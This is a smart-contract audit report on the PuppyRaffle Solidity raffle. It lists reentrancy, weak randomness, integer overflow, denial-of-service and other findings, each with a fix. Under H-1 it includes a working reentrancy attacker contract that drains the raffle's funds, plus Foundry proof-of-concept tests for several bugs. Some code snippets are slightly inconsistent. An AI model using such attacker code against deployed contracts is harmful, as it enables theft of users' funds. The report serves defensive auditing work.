PuppyRaffle Audit Report

Version 1.0

Himanshu

September 15, 2024

Protocol Audit Report

Himanshu Singh

September 15, 2024

Prepared by: [HMBG] Lead Auditors: - Himanshu

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The HMBG team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function. # Executive Summary This audit is for PuppyRaffle. The severity is of High, Medium and Low. ## Issues found | Severity | Number of issues found | | ——– | ———————- | | High | 3 | | Medium | 4 | | Low | 1 | | Info | 6 | | Gas | 2 | | Total | 16 | # Findings ## High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making the external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept: 1. User enters the raffle 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code:

Code

Place the following into `PuppyRaffleTest.t.sol`

```
function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attack
        vm.prank(attackUser);
        attackerContract.attack{value:entranceFee}();

        console.log("starting attacker contract balance: ",
            startingAttackContractBalance);
        console.log("starting contract balance: ",
            startingContractBalance);

        console.log("ending attacker contract balance: ", address(
            attackerContract).balance);
        console.log("ending contract balance: ", address(puppyRaffle).
            balance);
    }
```

Add this contract as well

```
contract ReentrancyAttacker {
```

```
2       PuppyRaffle puppyRaffle;
3       uint256 entranceFee;
4       uint256 attackerIndex;
5
6       constructor(PuppyRaffle _puppyRaffle) {
7           puppyRaffle = _puppyRaffle;
8           entranceFee = puppyRaffle.entranceFee();
9       }
10
11      function attack() external payable {
12          address[] memory players = new address[](1);
13          players[0] = address(this);
14          puppyRaffle.enterRaffle{value: entranceFee}(players);
15          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
16          puppyRaffle.refund(attackerIndex);
17      }
18
19      fallback() external payable {
20          if(address(puppyRaffle).balance >= entranceFee) {
21              puppyRaffle.refund(attackerIndex);
22          }
23      }
24
25      receive() external payable {
26          if(address(puppyRaffle).balance >= entranceFee) {
27              puppyRaffle.refund(attackerIndex);
28          }
29      }
30  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1   function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7           payable(msg.sender).sendValue(entranceFee);
8   -       players[playerIndex] = address(0);
9   -       emit RaffleRefunded(playerAddress);
10      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the `rarest` puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept:

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. `block.difficulty` was recently replaced with prevrandao.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, totalFees are accumulated for the feeAddress to collect later in withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We first conclude a raffle of 4 players to collect some fees. 2.We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
2. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
```

```
3 totalFees = 800000000000000000 + 17800000000000000000;
4 // due to overflow, the following is now the case
5 totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
     There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code:

Code

```
1  function testTotalFeesOverflow() public playersEntered {
2      // We finish a raffle of 4 to collect some fees
3      vm.warp(block.timestamp + duration + 1);
4      vm.roll(block.number + 1);
5      puppyRaffle.selectWinner();
6      uint256 startingTotalFees = puppyRaffle.totalFees();
7      // startingTotalFees = 800000000000000000
8
9      // We then have 89 players enter a new raffle
10     uint256 playersNum = 89;
11     address[] memory players = new address[](playersNum);
12     for (uint256 i = 0; i < playersNum; i++) {
13         players[i] = address(i);
14     }
15     puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
16     // We end the raffle
17     vm.warp(block.timestamp + duration + 1);
18     vm.roll(block.number + 1);
19
20     // And here is where the issue occurs
21     // We will now have fewer fees even though we just finished a
          second raffle
22     puppyRaffle.selectWinner();
23
24     uint256 endingTotalFees = puppyRaffle.totalFees();
25     console.log("ending total fees", endingTotalFees);
26     assert(endingTotalFees < startingTotalFees);
27
28     // We are also unable to withdraw any fees because of the require
          check
29     vm.prank(puppyRaffle.feeAddress());
30     vm.expectRevert("PuppyRaffle: There are currently players active!")
          ;
31     puppyRaffle.withdrawFees();
32 }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

2. Alternatively, if you want to use an older version of Solidity, you can use a library like `OpenZeppelin's SafeMath` to prevent integer overflows.

3. Use a `uint256` instead of a `uint64` for totalFees.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

4. Remove the balance check in PuppyRaffle::withdrawFees

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Lopping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service(DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas cost for players who enter right when raffle starts will be much lower than those who enter late. Every additional address in the `players` array, is an additional check in the loop we have to make.

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at start of raffle to enter.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters guaranteeing them to win.

Proof of Concepts:

If we have 2 sets of 100 players, the gas costs will be : - 1st 100 players: ~6252128 gas - 2nd 100 players: ~18068218 gas

This more than 3x more expensive for 2nd 100 players.

PoC Place the folloeing code into `PuppyRaffleTest.t.sol`.

```
function test_dos() public {

        vm.txGasPrice(1);

        // entering 1000 players
        uint256 playerNum = 100;
        address[] memory players = new address[](playerNum);
        for(uint256 i = 0; i < playerNum; i++)
        {
            players[i] = address(i);
        }

        // see how much gas it costs
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart-gasEnd) * tx.gasprice;
        console.log("Gas cost of first 100 players: ", gasUsedFirst);

        // gas cost for next 1000 players
        address[] memory playersNext = new address[](playerNum);
        for(uint256 i = 0; i < playerNum; i++)
        {
            playersNext[i] = address(i + playerNum);
        }

        // see how much gas it costs
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNext.length
            }(playersNext);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond-gasEndSecond) * tx.
            gasprice;
        console.log("Gas cost of next 100 players: ", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: 1.Consider allowing duplicates, as user can make another wallet to enter Raffle so allow them with same address.

2. Consider using mapping to check for duplicates.This would allow constant time lookup of whether

a user has already entered.

3. Consider using the `openzeppelin's EnumerableSet` library inbuild functions.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the uint256 is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 -   uint64 public totalFees = 0;
2 +   uint256 public totalFees = 0;
3 -
4 -
5     function selectWinner() external {
6         require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
7         require(players.length >= 4, "PuppyRaffle: Need at least 4
              players");
8         uint256 winnerIndex =
9             uint256(keccak256(abi.encodePacked(msg.sender, block.
                  timestamp, block.difficulty))) % players.length;
10        address winner = players[winnerIndex];
11        uint256 totalAmountCollected = players.length * entranceFee;
12        uint256 prizePool = (totalAmountCollected * 80) / 100;
13        uint256 fee = (totalAmountCollected * 20) / 100;
14 -       totalFees = totalFees + uint64(fee);
15 +       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The selectWinner function wouldn't work, even though the lottery is over! **Recommended Mitigation:** There are a few options to mitigate this issue.

4. Do not allow smart contract wallet entrants (not recommended)
5. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

[M-4] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a payable `fallback` or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1      function withdrawFees() external {
2  @>      require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds **Recommended Mitigation:** Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1      function withdrawFees() external {
2  -       require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existing players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 to incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` return 0 3. user thinks they have not entered the raffle correctly due to function documentation.

Recommended Mitigation: Return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas effecient

```
+       uint256 playerLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playerLength - 1; i++) {
-               for (uint256 j = i + 1; j < players.length; j++) {
+               for (uint256 j = i + 1; j < playerLength; j++) {
                    require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
                }
        }
```

Informational/Non-Crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0`, use `pragma solidity 0.8.0`

-Found in src/PuppyRaffle.sol: 32:23:35

[I-2] Using an outdated version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old vrsion prevents access to new Solidity security checks. We also recommend avoiding complex pragma statements.

Recommendation: Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account: - Risks related to recent releases - Risks of complex code generation changes - risks of new language featurs - Risks of known bugs - Use of simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 188

  “‘solidity feeAddress = newFeeAddress;

[I-4] `puppyRaffle::selectWinner` does not follow CEI, which is not a best practice

```
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers".

Recommended Mitigation: Replace all magic numbers with constants.

```
+ uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+ uint256 public constant FEE_PERCENTAGE = 20;
+ uint256 public constant TOTAL_PERCENTAGE = 100;
- uint256 prizePool = (totalAmountCollected * 80) / 100;
- uint256 fee = (totalAmountCollected * 20) / 100;
uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / TOTAL_PERCENTAGE;
```

[I-6] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
- function _isActivePlayer() internal view returns (bool) {
-     for (uint256 i = 0; i < players.length; i++) {
-         if (players[i] == msg.sender) {
-             return true;
-         }
-     }
-     return false;
- }
```